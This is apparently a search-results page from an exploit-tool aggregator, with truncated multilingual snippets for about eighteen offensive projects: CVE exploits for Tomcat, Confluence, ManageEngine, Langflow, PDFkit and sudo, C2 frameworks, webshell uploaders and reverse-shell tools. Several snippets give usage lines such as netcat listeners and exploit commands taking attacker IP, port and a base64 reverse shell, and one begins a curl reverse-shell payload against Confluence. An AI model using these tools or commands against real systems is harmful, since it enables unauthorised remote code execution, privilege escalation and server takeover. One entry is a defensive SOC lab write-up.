34969 matches found
From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack
从 EternalBlue 到 CVE-2025-2776：SMB 攻击的演变 它曾在2017年震撼世界，如今已演变为CVE‑2025‑2776。微软仍然依赖SMBv1，本文将解释攻击者如何将攻击链从简单的DLL调整为完整的反向Shell堆栈，以及这对防御者意味着什么。 简要历史回顾...
CVE-2019-15715
CVE-2019-15715 当前仓库是 CVE-2019-15715 的 Python3 实现，旨在专注于改进 Nikolas Geiselman 最初在此处报告的 CVE-2019-15715，通过添加 Python 的参数实现使脚本更加灵活。 root@kitploit: python3 CVE-2019-15715.py -rh $TARGETIP -rp $TARGETPORT -lh $ATTACKERIP -lp $ATTACKERPORT -u $USER -p $PSW -e $ENDPOINT -rs $BASE64REVSHELL You can use...
SSRFX
CVE-2014-4210+Redis未授权访问 安装 root@kitploit: pip install -r requirements.txt 使用 root@kitploit: usage: SSRFX.py -h --url URL --threads THREADS --app APP --network NETWORK --type TYPE --vulapp VULAPP --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT SSRF Explotion Tools optional arguments: -h,...
CVE-2017-12617
开始使用 此概念验证（Proof Of Concept）旨在演示如何利用 CVE-2017-12617 对 Apache Tomcat 服务器进行远程控制。 操作说明 1. 请执行以下命令以启动服务器。 make serverup 2. 执行以下命令以发起攻击并在服务器上上传一个 webshell（需要安装 cURL）。 make attack 如果此命令未自动打开您的浏览器，您可以访问： http://localhost:8080/webshell.jsp?cmd=pwd 现在您将能在浏览器中直接访问服务器上的 webshell。 常见问题 如果您在运行此概念验证时遇到任何问题，请在...
cve-2020-14008
CVE-2020-14008 ManageEngine 漏洞利用 这是什么？ 此脚本利用 ManageEngine Applications Manager 中的 CVE-2020-14008 漏洞来获取具有 SYSTEM 权限的反向 shell。 依赖要求 root@kitploit: pip3 install requests urllib3 如何使用 1. 启动监听器 root@kitploit: nc -nlvp 9001 2. 运行漏洞利用脚本 root@kitploit: python3 cve-2020-14008-exploit.py 示例 root@kitploit:...
LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell
LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell Introducción Investigué un zero-day de SharePoint llamado ToolShell CVE-2025-53770 en el laboratorio de LetsDefend. Simulé un ataque zero-day del mundo real en el que una petición POST maliciosa omitió la autenticación, ejecutó...
PoC_CVE-2019-10149--rce
Acerca de Ejecución remota de comandos en shell desde un servicio exim vulnerable. Las versiones vulnerables van de 4.87 a 4.91 inclusive. Consulta https://nvd.nist.gov/vuln/detail/cve-2019-10149. El siguiente script se basa en el PoC de Qualys. Consulta...
langflow-rce-exploit
Langflow RCE 漏洞利用 CVE-2025-3248 针对 Langflow 的远程代码执行漏洞利用 CVE-2025-3248 功能特点 自动漏洞检测 多种利用模式： 交互式 Shell 单命令执行 反弹 Shell 连接 文件上传能力 彩色用户界面 多种反弹 Shell 方法 命令历史持久化 📌 更新日志 v2.0 ✨ 新特性： 高级 Payload 系统 ，支持 5 种执行方式 文件上传/下载 ，使用 Base64 编码 持久化 （通过 cron 任务，persist 命令） 交互式 Shell 升级 ： upload localpath remotepath...
Heroinn
Heroinn Una implementación de framework C2/post-explotación multiplataforma en Rust. Este proyecto es solo para fines de investigación y estudio, y cualquier comportamiento ilegal que haga uso de este proyecto no tiene relación con el mismo. Características GUI Shell PTY interactiva Recopilación ...
PyHmmm
PyHmmm ¿Qué es esto? Esto es un agente de terceros para Havoc C2 escrito en python. Está pensado como un PoC básico para aprender a escribir agentes personalizados de Havoc, con su publicación de blog correspondiente...
FShell
FShell Descripción FShell es mi implementación de un Forward Shell. Está diseñado para obtener una tty interactiva usando ejecución remota de código a través de un protocolo sin estado p. ej. HTTP. ¿Por qué debería usar un forward shell? El servidor remoto no puede acceder a internet, no hay...
DirCreate2System
DirCreate2System Explotando bugs de creación de directorios privilegiados con Windows Error Reporting para obtener NT AUTHORITY\SYSTEM Breve descripción: He descubierto que comctl32.dll que falta en el directorio del sistema que realmente no existe es cargado por wermgr.exe a través del informe d...
CVE-2019-0232
CVE-2019-0232 描述 这是一款自动化 CVE‑2019‑0232 利用流程的工具，提供命令执行模式和反向 Shell 模式。它支持对命令进行自动 URL 编码，临时启动 HTTP 服务器以托管 nc.exe，使用 certutil 将其上传到存在漏洞的 Apache Tomcat CGI 端点，触发反向 Shell，然后自动终止 HTTP 服务器。该脚本验证必需的参数、构建攻击负载 URL、发送利用请求，并确保利用过程精简且可控。 选项 使用方法 命令执行 反向 Shell 参考 https://vulners.com/cve/CVE-2019-0232...
CVE-2022-25765
Exploit para CVE-2022-25765 Un pequeño exploit PoC para CVE-2022-25765, PDFkit-CMD-Injection Uso 1. Inicia un listener de netcat en tu máquina de ataque: root@kitploit: nc -lvnp 4444 2. Ejecuta el exploit: root@kitploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT...
CVE-2022-22947
CVE-2022-22947 CVE-2022-22947EXP,CVE-2022-22947RCE Uso Shell inversa python3 CVE-2022-22947.py URL objetivo IP para el shell inverso puerto Ejecutar comando python3 CVE-2022-22947.py URL objetivo comando...
CVE-2023-22809-sudoedit-privesc
CVE-2023-22809 sudo Privilege escalation Affected sudo versions: 1.8.0 to 1.9.12p1 This script automates the exploitation of the CVE-2023-22809 vulnerability to gain a root shell. The script checks if the current user has access to run the sudoedit or sudo -e command for some file with root...
cve-2018-2628
cve-2018-2628 cve-2018-2628 反弹shell 文章 https://pi.wrysunnylove.cn/archives/58...
CVE-2022-26134
Confluence CVE-2022-26134 的主动利用 概述 CVE-2022-26134 是一个影响 Atlassian Confluence 的严重 远程代码执行 RCE 漏洞。该漏洞允许未经认证的攻击者通过向易受攻击的端点注入 OGNL 表达式来执行任意代码。 受影响版本 所有在补丁发布前的 Atlassian Confluence Server 和 Data Center 受支持版本。 漏洞利用详情 以下 curl 命令演示了该漏洞的主动利用，使用 Java 的 Nashorn 引擎执行反向 Shell： root@kitploit: curl -v...
cve-2023-22527
Executing Arbitrary Code In Confluence Memory CVE-2023-22527 is a widely known vulnerability affecting Atlassian Confluence. Most exploits for this vulnerability use freemarker.template.utility.Execute to execute an operating system command, but they can do so much better. In this repository you'...